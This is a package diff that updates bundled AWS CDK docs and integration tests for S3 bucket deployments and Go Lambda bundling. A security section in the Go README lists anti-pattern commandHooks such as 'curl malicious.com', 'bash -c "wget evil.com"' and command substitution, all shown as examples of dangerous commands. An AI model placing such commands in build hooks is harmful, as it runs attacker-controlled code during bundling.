konokenj.cdk-api-mcp-server 0.52.0__py3-none-any.whl → 0.53.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cdk_api_mcp_server/__about__.py +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-lambda-go-alpha/README.md +102 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codebuild/README.md +0 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/README.md +65 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-big-response.ts +13 -6
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cloudfront.ts +20 -18
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-nested-stack-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-source.ts +6 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-ssm-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-data.ts +83 -62
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-deployed-bucket.ts +10 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-large-file.ts +20 -12
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-loggroup.ts +7 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-efs.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-empty.ts +69 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-multiple.ts +89 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-single.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-signcontent.ts +11 -7
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-destination-key.ts +15 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-role.ts +29 -14
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution.ts +16 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-basic.ts +65 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-config.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-custom-subnets.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-efs.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-security-groups.ts +72 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-subnet-selection.ts +70 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment.ts +47 -69
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions/integ.sm-jsonpath-with-distributed-map-jsonata.ts +105 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/FEATURE_FLAGS.md +2 -2
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/METADATA +2 -2
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/RECORD +35 -24
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/WHEEL +0 -0
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/entry_points.txt +0 -0
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/licenses/LICENSE.txt +0 -0
cdk_api_mcp_server/__about__.py
CHANGED
|
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
|
|
|
170
170
|
});
|
|
171
171
|
```
|
|
172
172
|
|
|
173
|
+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
|
|
174
|
+
|
|
173
175
|
By default this construct doesn't use any Go module proxies. This is contrary to
|
|
174
176
|
a standard Go installation, which would use the Google proxy by default. To
|
|
175
177
|
recreate that behavior, do the following:
|
|
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
|
|
|
200
202
|
|
|
201
203
|
## Command hooks
|
|
202
204
|
|
|
203
|
-
It is
|
|
205
|
+
It is possible to run additional commands by specifying the `commandHooks` prop:
|
|
204
206
|
|
|
205
|
-
```
|
|
206
|
-
// This example only available in TypeScript
|
|
207
|
+
```ts
|
|
207
208
|
// Run additional commands on a GoFunction via `commandHooks` property
|
|
208
209
|
new go.GoFunction(this, 'handler', {
|
|
210
|
+
entry: 'cmd/api',
|
|
209
211
|
bundling: {
|
|
210
212
|
commandHooks: {
|
|
211
213
|
// run tests
|
|
212
214
|
beforeBundling(inputDir: string): string[] {
|
|
213
215
|
return ['go test ./cmd/api -v'];
|
|
214
216
|
},
|
|
215
|
-
|
|
217
|
+
afterBundling(inputDir: string, outputDir: string): string[] {
|
|
218
|
+
return ['echo "Build complete"'];
|
|
219
|
+
},
|
|
216
220
|
},
|
|
217
221
|
},
|
|
218
222
|
});
|
|
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
|
|
|
230
234
|
The commands will run in the environment in which bundling occurs: inside the
|
|
231
235
|
container for Docker bundling or on the host OS for local bundling.
|
|
232
236
|
|
|
237
|
+
### ⚠️ Security Considerations
|
|
238
|
+
|
|
239
|
+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
|
|
240
|
+
|
|
241
|
+
**Safe patterns (cross-platform):**
|
|
242
|
+
|
|
243
|
+
```ts
|
|
244
|
+
new go.GoFunction(this, 'SafeFunction', {
|
|
245
|
+
entry: 'cmd/api',
|
|
246
|
+
bundling: {
|
|
247
|
+
commandHooks: {
|
|
248
|
+
beforeBundling: () => [
|
|
249
|
+
'go test ./...', // ✅ Standard Go commands work on all OS
|
|
250
|
+
'go mod tidy', // ✅ Go module commands
|
|
251
|
+
'make clean', // ✅ Build tools (if available)
|
|
252
|
+
'echo "Building app"', // ✅ Simple output with quotes
|
|
253
|
+
],
|
|
254
|
+
afterBundling: () => ['echo "Build complete"'],
|
|
255
|
+
},
|
|
256
|
+
},
|
|
257
|
+
});
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
**Dangerous patterns to avoid:**
|
|
261
|
+
|
|
262
|
+
*Windows-specific dangers:*
|
|
263
|
+
|
|
264
|
+
```ts
|
|
265
|
+
// ❌ Windows-specific dangers
|
|
266
|
+
new go.GoFunction(this, 'UnsafeWindowsFunction', {
|
|
267
|
+
entry: 'cmd/api',
|
|
268
|
+
bundling: {
|
|
269
|
+
commandHooks: {
|
|
270
|
+
beforeBundling: () => [
|
|
271
|
+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
|
|
272
|
+
'echo %USERPROFILE%', // ❌ Environment variable expansion
|
|
273
|
+
'powershell -Command "..."', // ❌ PowerShell execution
|
|
274
|
+
],
|
|
275
|
+
afterBundling: () => [],
|
|
276
|
+
},
|
|
277
|
+
},
|
|
278
|
+
});
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
*Unix/Linux/macOS dangers:*
|
|
282
|
+
|
|
283
|
+
```ts
|
|
284
|
+
// ❌ Unix/Linux/macOS dangers
|
|
285
|
+
new go.GoFunction(this, 'UnsafeUnixFunction', {
|
|
286
|
+
entry: 'cmd/api',
|
|
287
|
+
bundling: {
|
|
288
|
+
commandHooks: {
|
|
289
|
+
beforeBundling: () => [
|
|
290
|
+
'go test; curl malicious.com', // ❌ Command chaining with ;
|
|
291
|
+
'echo $(whoami)', // ❌ Command substitution
|
|
292
|
+
'bash -c "wget evil.com"', // ❌ Shell execution
|
|
293
|
+
],
|
|
294
|
+
afterBundling: () => [],
|
|
295
|
+
},
|
|
296
|
+
},
|
|
297
|
+
});
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
**When using third-party constructs** that include `GoFunction`:
|
|
301
|
+
|
|
302
|
+
* Review the construct's source code before use
|
|
303
|
+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
|
|
304
|
+
* Only use constructs from trusted publishers
|
|
305
|
+
* Test in isolated environments first
|
|
306
|
+
|
|
307
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
308
|
+
|
|
309
|
+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
|
|
310
|
+
|
|
311
|
+
## Security Best Practices
|
|
312
|
+
|
|
313
|
+
### Third-Party Construct Safety
|
|
314
|
+
|
|
315
|
+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
|
|
316
|
+
|
|
317
|
+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
|
|
318
|
+
2. **Verify publishers** - Use constructs only from trusted, verified sources
|
|
319
|
+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
|
|
320
|
+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
|
|
321
|
+
|
|
322
|
+
**Before using any third-party construct:**
|
|
323
|
+
|
|
324
|
+
* Review the construct's source code on GitHub or npm
|
|
325
|
+
* Search for `commandHooks` and `goBuildFlags` usage in the code
|
|
326
|
+
* Verify no dangerous command patterns are present
|
|
327
|
+
* Use exact version pinning to prevent supply chain attacks
|
|
328
|
+
|
|
329
|
+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
|
|
330
|
+
|
|
233
331
|
## Additional considerations
|
|
234
332
|
|
|
235
333
|
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
|
|
@@ -1,6 +1,5 @@
|
|
|
1
1
|
# AWS S3 Deployment Construct Library
|
|
2
2
|
|
|
3
|
-
|
|
4
3
|
This library allows populating an S3 bucket with the contents of .zip files
|
|
5
4
|
from other S3 buckets or from local disk.
|
|
6
5
|
|
|
@@ -83,7 +82,7 @@ User: *** is not authorized to perform: kms:Decrypt on the resource associated w
|
|
|
83
82
|
because no identity-based policy allows the kms:Decrypt action
|
|
84
83
|
```
|
|
85
84
|
|
|
86
|
-
When this happens, users can use the public `handlerRole` property of `BucketDeployment` to manually
|
|
85
|
+
When this happens, users can use the public `handlerRole` property of `BucketDeployment` to manually
|
|
87
86
|
add the KMS permissions:
|
|
88
87
|
|
|
89
88
|
```ts
|
|
@@ -375,6 +374,7 @@ resource handler.
|
|
|
375
374
|
> of memory and storage size.
|
|
376
375
|
|
|
377
376
|
## JSON-Aware Source Processing
|
|
377
|
+
|
|
378
378
|
When using `Source.jsonData` with CDK Tokens (references to construct properties), you may need to enable the escaping option. This is particularly important when the referenced properties might contain special characters that require proper JSON escaping (like double quotes, line breaks, etc.).
|
|
379
379
|
|
|
380
380
|
```ts
|
|
@@ -462,7 +462,7 @@ to make from placeholders in a local file which will be resolved during deployme
|
|
|
462
462
|
is especially useful in situations like creating an API from a spec file, where users might
|
|
463
463
|
want to reference other CDK resources they have created.
|
|
464
464
|
|
|
465
|
-
The syntax for template variables is `{{ variableName }}` in your local file. Then, you would
|
|
465
|
+
The syntax for template variables is `{{ variableName }}` in your local file. Then, you would
|
|
466
466
|
specify the substitutions in CDK like this:
|
|
467
467
|
|
|
468
468
|
```ts
|
|
@@ -486,7 +486,7 @@ new s3deploy.DeployTimeSubstitutedFile(this, 'MyFile', {
|
|
|
486
486
|
```
|
|
487
487
|
|
|
488
488
|
Nested variables, like `{{ {{ foo }} }}` or `{{ foo {{ bar }} }}`, are not supported by this
|
|
489
|
-
construct. In the first case of a single variable being is double nested `{{ {{ foo }} }}`, only
|
|
489
|
+
construct. In the first case of a single variable being is double nested `{{ {{ foo }} }}`, only
|
|
490
490
|
the `{{ foo }}` would be replaced by the substitution, and the extra brackets would remain in the file.
|
|
491
491
|
In the second case of two nexted variables `{{ foo {{ bar }} }}`, only the `{{ bar }}` would be replaced
|
|
492
492
|
in the file.
|
|
@@ -533,6 +533,67 @@ new cdk.CfnOutput(this, 'ObjectKey', {
|
|
|
533
533
|
});
|
|
534
534
|
```
|
|
535
535
|
|
|
536
|
+
## Specifying a Custom VPC, Subnets, and Security Groups in BucketDeployment
|
|
537
|
+
|
|
538
|
+
By default, the AWS CDK BucketDeployment construct runs in a publicly accessible environment. However, for enhanced security and compliance, you may need to deploy your assets from within a VPC while restricting network access through custom subnets and security groups.
|
|
539
|
+
|
|
540
|
+
### Using a Custom VPC
|
|
541
|
+
|
|
542
|
+
To deploy assets within a private network, specify the vpc property in BucketDeploymentProps. This ensures that the deployment Lambda function executes within your specified VPC.
|
|
543
|
+
|
|
544
|
+
```ts
|
|
545
|
+
const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
|
|
546
|
+
const bucket = new s3.Bucket(this, 'MyBucket');
|
|
547
|
+
|
|
548
|
+
new s3deploy.BucketDeployment(this, 'DeployToS3', {
|
|
549
|
+
destinationBucket: bucket,
|
|
550
|
+
vpc: vpc,
|
|
551
|
+
sources: [s3deploy.Source.asset('./website')],
|
|
552
|
+
});
|
|
553
|
+
```
|
|
554
|
+
|
|
555
|
+
### Specifying Subnets for Deployment
|
|
556
|
+
|
|
557
|
+
By default, when you specify a VPC, the BucketDeployment function is deployed in the private subnets of that VPC.
|
|
558
|
+
However, you can customize the subnet selection using the vpcSubnets property.
|
|
559
|
+
|
|
560
|
+
```ts
|
|
561
|
+
const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
|
|
562
|
+
const bucket = new s3.Bucket(this, 'MyBucket');
|
|
563
|
+
|
|
564
|
+
new s3deploy.BucketDeployment(this, 'DeployToS3', {
|
|
565
|
+
destinationBucket: bucket,
|
|
566
|
+
vpc: vpc,
|
|
567
|
+
vpcSubnets: { subnetType: ec2.SubnetType.PUBLIC },
|
|
568
|
+
sources: [s3deploy.Source.asset('./website')],
|
|
569
|
+
});
|
|
570
|
+
```
|
|
571
|
+
|
|
572
|
+
### Defining Custom Security Groups
|
|
573
|
+
|
|
574
|
+
For enhanced network security, you can now specify custom security groups in BucketDeploymentProps.
|
|
575
|
+
This allows fine-grained control over ingress and egress rules for the deployment Lambda function.
|
|
576
|
+
|
|
577
|
+
```ts
|
|
578
|
+
const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
|
|
579
|
+
const bucket = new s3.Bucket(this, 'MyBucket');
|
|
580
|
+
|
|
581
|
+
const securityGroup = new ec2.SecurityGroup(this, 'CustomSG', {
|
|
582
|
+
vpc: vpc,
|
|
583
|
+
description: 'Allow HTTPS outbound access',
|
|
584
|
+
allowAllOutbound: false,
|
|
585
|
+
});
|
|
586
|
+
|
|
587
|
+
securityGroup.addEgressRule(ec2.Peer.anyIpv4(), ec2.Port.tcp(443), 'Allow HTTPS traffic');
|
|
588
|
+
|
|
589
|
+
new s3deploy.BucketDeployment(this, 'DeployWithSecurityGroup', {
|
|
590
|
+
destinationBucket: bucket,
|
|
591
|
+
vpc: vpc,
|
|
592
|
+
securityGroups: [securityGroup],
|
|
593
|
+
sources: [s3deploy.Source.asset('./website')],
|
|
594
|
+
});
|
|
595
|
+
```
|
|
596
|
+
|
|
536
597
|
## Notes
|
|
537
598
|
|
|
538
599
|
- This library uses an AWS CloudFormation custom resource which is about 10MiB in
|
|
@@ -11,6 +11,12 @@ import { ExpectedResult } from '@aws-cdk/integ-tests-alpha';
|
|
|
11
11
|
|
|
12
12
|
const numFiles = 50;
|
|
13
13
|
|
|
14
|
+
/**
|
|
15
|
+
* Integration test for bucket deployment with many sources (big response):
|
|
16
|
+
* - Tests deployment with 50 source files to validate response size handling
|
|
17
|
+
* - Uses increased memory limit (2048MB) for large deployments
|
|
18
|
+
* - Validates that objectKeys output is disabled when outputObjectKeys is false
|
|
19
|
+
*/
|
|
14
20
|
class TestBucketDeployment extends cdk.Stack {
|
|
15
21
|
public readonly destinationBucket: s3.IBucket;
|
|
16
22
|
constructor(scope: Construct, id: string, props?: cdk.StackProps) {
|
|
@@ -21,6 +27,7 @@ class TestBucketDeployment extends cdk.Stack {
|
|
|
21
27
|
autoDeleteObjects: true, // needed for integration test cleanup
|
|
22
28
|
});
|
|
23
29
|
|
|
30
|
+
// Create multiple source files to test big response handling
|
|
24
31
|
const sources = [];
|
|
25
32
|
for (let i = 0; i < numFiles; i++) {
|
|
26
33
|
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tmpcdk'));
|
|
@@ -31,17 +38,17 @@ class TestBucketDeployment extends cdk.Stack {
|
|
|
31
38
|
sources.push(s3deploy.Source.asset(tempDir));
|
|
32
39
|
}
|
|
33
40
|
|
|
34
|
-
const
|
|
41
|
+
const deployment = new s3deploy.BucketDeployment(this, 'DeployWithManySources', {
|
|
35
42
|
sources: sources,
|
|
36
43
|
destinationBucket: this.destinationBucket,
|
|
37
44
|
memoryLimit: 2048,
|
|
38
|
-
retainOnDelete: false,
|
|
45
|
+
retainOnDelete: false,
|
|
39
46
|
outputObjectKeys: false,
|
|
40
47
|
});
|
|
41
48
|
|
|
42
49
|
new CfnOutput(this, 'customResourceData', {
|
|
43
50
|
value: Fn.sub('Object Keys are${keys}', {
|
|
44
|
-
keys: Fn.join(',',
|
|
51
|
+
keys: Fn.join(',', deployment.objectKeys),
|
|
45
52
|
}),
|
|
46
53
|
});
|
|
47
54
|
}
|
|
@@ -54,12 +61,12 @@ const app = new cdk.App({
|
|
|
54
61
|
});
|
|
55
62
|
const testCase = new TestBucketDeployment(app, 'test-bucket-deployments-too-many-sources');
|
|
56
63
|
|
|
57
|
-
const integTest = new integ.IntegTest(app, 'integ-test-bucket-
|
|
64
|
+
const integTest = new integ.IntegTest(app, 'integ-test-bucket-deployment-big-response', {
|
|
58
65
|
testCases: [testCase],
|
|
59
66
|
diffAssets: true,
|
|
60
67
|
});
|
|
61
68
|
|
|
62
|
-
// Assert that
|
|
69
|
+
// Assert that all files were successfully deployed
|
|
63
70
|
for (let i = 0; i < numFiles; i++) {
|
|
64
71
|
const apiCall = integTest.assertions.awsApiCall('S3', 'getObject', {
|
|
65
72
|
Bucket: testCase.destinationBucket.bucketName,
|
|
@@ -73,7 +80,7 @@ for (let i = 0; i < numFiles; i++) {
|
|
|
73
80
|
apiCall.assertAtPath('Body', ExpectedResult.stringLikeRegexp(`This is file number ${i + 1}`));
|
|
74
81
|
}
|
|
75
82
|
|
|
76
|
-
// Assert that
|
|
83
|
+
// Assert that objectKeys output is empty when outputObjectKeys is false
|
|
77
84
|
const describe = integTest.assertions.awsApiCall('CloudFormation', 'describeStacks', {
|
|
78
85
|
StackName: 'test-bucket-deployments-too-many-sources',
|
|
79
86
|
});
|
|
@@ -1,27 +1,29 @@
|
|
|
1
1
|
import * as path from 'path';
|
|
2
2
|
import * as cloudfront from 'aws-cdk-lib/aws-cloudfront';
|
|
3
|
+
import * as origins from 'aws-cdk-lib/aws-cloudfront-origins';
|
|
3
4
|
import * as s3 from 'aws-cdk-lib/aws-s3';
|
|
4
5
|
import * as cdk from 'aws-cdk-lib';
|
|
5
6
|
import * as s3deploy from 'aws-cdk-lib/aws-s3-deployment';
|
|
6
|
-
import
|
|
7
|
+
import * as integ from '@aws-cdk/integ-tests-alpha';
|
|
8
|
+
import { Construct } from 'constructs';
|
|
7
9
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
10
|
+
/**
|
|
11
|
+
* Integration test for bucket deployment with CloudFront distribution invalidation:
|
|
12
|
+
* - Deploys files to S3 bucket behind CloudFront distribution
|
|
13
|
+
* - Tests that CloudFront cache invalidation works with bucket deployments
|
|
14
|
+
*/
|
|
15
|
+
class TestBucketDeploymentCloudFront extends cdk.Stack {
|
|
16
|
+
constructor(scope: Construct, id: string, props?: cdk.StackProps) {
|
|
17
|
+
super(scope, id, props);
|
|
11
18
|
|
|
12
|
-
const bucket = new s3.Bucket(this, '
|
|
19
|
+
const bucket = new s3.Bucket(this, 'Destination', {
|
|
13
20
|
removalPolicy: cdk.RemovalPolicy.DESTROY,
|
|
14
21
|
autoDeleteObjects: true, // needed for integration test cleanup
|
|
15
22
|
});
|
|
16
|
-
const distribution = new cloudfront.
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
s3BucketSource: bucket,
|
|
21
|
-
},
|
|
22
|
-
behaviors: [{ isDefaultBehavior: true }],
|
|
23
|
-
},
|
|
24
|
-
],
|
|
23
|
+
const distribution = new cloudfront.Distribution(this, 'Distribution', {
|
|
24
|
+
defaultBehavior: {
|
|
25
|
+
origin: origins.S3BucketOrigin.withOriginAccessControl(bucket),
|
|
26
|
+
},
|
|
25
27
|
});
|
|
26
28
|
|
|
27
29
|
new s3deploy.BucketDeployment(this, 'DeployWithInvalidation', {
|
|
@@ -29,7 +31,7 @@ class TestBucketDeployment extends cdk.Stack {
|
|
|
29
31
|
destinationBucket: bucket,
|
|
30
32
|
distribution,
|
|
31
33
|
distributionPaths: ['/images/*.png'],
|
|
32
|
-
retainOnDelete: false,
|
|
34
|
+
retainOnDelete: false,
|
|
33
35
|
});
|
|
34
36
|
}
|
|
35
37
|
}
|
|
@@ -41,10 +43,10 @@ const app = new cdk.App({
|
|
|
41
43
|
},
|
|
42
44
|
});
|
|
43
45
|
|
|
44
|
-
const
|
|
46
|
+
const testCase = new TestBucketDeploymentCloudFront(app, 'test-bucket-deployment-cloudfront');
|
|
45
47
|
|
|
46
|
-
new IntegTest(app, '
|
|
47
|
-
testCases: [
|
|
48
|
+
new integ.IntegTest(app, 'integ-test-bucket-deployment-cloudfront', {
|
|
49
|
+
testCases: [testCase],
|
|
48
50
|
diffAssets: true,
|
|
49
51
|
});
|
|
50
52
|
|
|
@@ -6,6 +6,12 @@ import * as integ from '@aws-cdk/integ-tests-alpha';
|
|
|
6
6
|
import { ExpectedResult } from '@aws-cdk/integ-tests-alpha';
|
|
7
7
|
import { Construct } from 'constructs';
|
|
8
8
|
|
|
9
|
+
/**
|
|
10
|
+
* Integration test for bucket deployment with cross-nested-stack references:
|
|
11
|
+
* - Tests that Source.jsonData() can use values from resources in nested stacks
|
|
12
|
+
* - Validates that cross-nested-stack token resolution works correctly
|
|
13
|
+
* - Tests token substitution across nested stack boundaries
|
|
14
|
+
*/
|
|
9
15
|
class ResourceNestedStack extends NestedStack {
|
|
10
16
|
userPool: UserPool;
|
|
11
17
|
constructor (scope: Construct, id: string, props: NestedStackProps = {}) {
|
|
@@ -23,7 +29,7 @@ class DeploymentNestedStack extends NestedStack {
|
|
|
23
29
|
constructor (scope: Construct, id: string, props: DeploymentNestedStackProps) {
|
|
24
30
|
super(scope, id, props);
|
|
25
31
|
this.bucket = new Bucket(this, 'Bucket');
|
|
26
|
-
new BucketDeployment(this, '
|
|
32
|
+
new BucketDeployment(this, 'DeployWithCrossNestedStackSource', {
|
|
27
33
|
destinationBucket: this.bucket,
|
|
28
34
|
sources: [
|
|
29
35
|
Source.jsonData('appconfig.json', { userPoolId: props.userPool.userPoolId }),
|
|
@@ -6,6 +6,11 @@ import { Construct } from 'constructs';
|
|
|
6
6
|
import { BucketDeployment, Source } from 'aws-cdk-lib/aws-s3-deployment';
|
|
7
7
|
import { Bucket } from 'aws-cdk-lib/aws-s3';
|
|
8
8
|
|
|
9
|
+
/**
|
|
10
|
+
* Integration test for bucket deployment with cross-stack references:
|
|
11
|
+
* - Tests that Source.data() can use values from resources in other stacks
|
|
12
|
+
* - Validates that cross-stack token resolution works correctly
|
|
13
|
+
*/
|
|
9
14
|
class Stack2 extends Stack {
|
|
10
15
|
userPool: UserPool;
|
|
11
16
|
|
|
@@ -21,7 +26,7 @@ class Stack1 extends Stack {
|
|
|
21
26
|
constructor (scope: Construct, id: string, props: { userPool: UserPool }) {
|
|
22
27
|
super(scope, id);
|
|
23
28
|
this.bucket = new Bucket(this, 'bucket');
|
|
24
|
-
new BucketDeployment(this, '
|
|
29
|
+
new BucketDeployment(this, 'DeployWithCrossStackSource', {
|
|
25
30
|
destinationBucket: this.bucket,
|
|
26
31
|
sources: [
|
|
27
32
|
Source.data('test.txt', props.userPool.userPoolId),
|
|
@@ -5,6 +5,12 @@ import * as s3deploy from 'aws-cdk-lib/aws-s3-deployment';
|
|
|
5
5
|
import * as ssm from 'aws-cdk-lib/aws-ssm';
|
|
6
6
|
import * as integ from '@aws-cdk/integ-tests-alpha';
|
|
7
7
|
|
|
8
|
+
/**
|
|
9
|
+
* Integration test for bucket deployment with cross-stack SSM parameter references:
|
|
10
|
+
* - Tests that SSM StringListParameter tokens are resolved in Source.jsonData()
|
|
11
|
+
* - Validates cross-nested-stack parameter references work correctly
|
|
12
|
+
* - Tests that parameter values are properly serialized in JSON output
|
|
13
|
+
*/
|
|
8
14
|
class SsmStack extends cdk.NestedStack {
|
|
9
15
|
public readonly ssmParam: ssm.StringListParameter;
|
|
10
16
|
|
|
@@ -38,7 +44,7 @@ class S3Stack extends cdk.NestedStack {
|
|
|
38
44
|
autoDeleteObjects: true,
|
|
39
45
|
});
|
|
40
46
|
|
|
41
|
-
new s3deploy.BucketDeployment(this, '
|
|
47
|
+
new s3deploy.BucketDeployment(this, 'DeployWithSsmParameter', {
|
|
42
48
|
sources: [
|
|
43
49
|
s3deploy.Source.jsonData('config.json', {
|
|
44
50
|
subnets: readParam.stringListValue,
|
|
@@ -1,80 +1,101 @@
|
|
|
1
1
|
import { Bucket } from 'aws-cdk-lib/aws-s3';
|
|
2
|
-
import { App, CfnOutput, RemovalPolicy, Stack, Token } from 'aws-cdk-lib';
|
|
2
|
+
import { App, CfnOutput, RemovalPolicy, Stack, StackProps, Token } from 'aws-cdk-lib';
|
|
3
3
|
import { ExpectedResult, IntegTest } from '@aws-cdk/integ-tests-alpha';
|
|
4
4
|
import { BucketDeployment, Source } from 'aws-cdk-lib/aws-s3-deployment';
|
|
5
5
|
import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';
|
|
6
6
|
import * as ssm from 'aws-cdk-lib/aws-ssm';
|
|
7
7
|
import * as path from 'path';
|
|
8
|
+
import { Construct } from 'constructs';
|
|
8
9
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
10
|
+
/**
|
|
11
|
+
* Integration test for bucket deployment with various data source types:
|
|
12
|
+
* - Tests Source.data(), Source.jsonData(), and Source.yamlData() methods
|
|
13
|
+
* - Validates token substitution in JSON and YAML files
|
|
14
|
+
* - Tests proper escaping of special characters (quotes) in JSON files
|
|
15
|
+
* - Tests addSource() method for dynamically adding sources
|
|
16
|
+
* - Validates empty string handling
|
|
17
|
+
*/
|
|
18
|
+
class TestBucketDeploymentData extends Stack {
|
|
19
|
+
public readonly bucket: Bucket;
|
|
19
20
|
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
const file3 = Source.jsonData('my-json/config.json', { website_url: bucket.bucketWebsiteUrl });
|
|
23
|
-
const file4 = Source.yamlData('my-yaml/config.yaml', { website_url: bucket.bucketWebsiteUrl });
|
|
24
|
-
const file5 = Source.jsonData('my-json/config2.json', { bucket_domain_name: bucket.bucketWebsiteDomainName });
|
|
25
|
-
|
|
26
|
-
// Add new test case for secret value with quotes
|
|
27
|
-
const secret = new secretsmanager.Secret(stack, 'TestSecret', {
|
|
28
|
-
generateSecretString: {
|
|
29
|
-
secretStringTemplate: JSON.stringify({
|
|
30
|
-
value: 'test"with"quotes',
|
|
31
|
-
}),
|
|
32
|
-
generateStringKey: 'password',
|
|
33
|
-
},
|
|
34
|
-
});
|
|
21
|
+
constructor(scope: Construct, id: string, props?: StackProps) {
|
|
22
|
+
super(scope, id, props);
|
|
35
23
|
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
});
|
|
24
|
+
this.bucket = new Bucket(this, 'Bucket', {
|
|
25
|
+
removalPolicy: RemovalPolicy.DESTROY,
|
|
26
|
+
autoDeleteObjects: true,
|
|
27
|
+
});
|
|
40
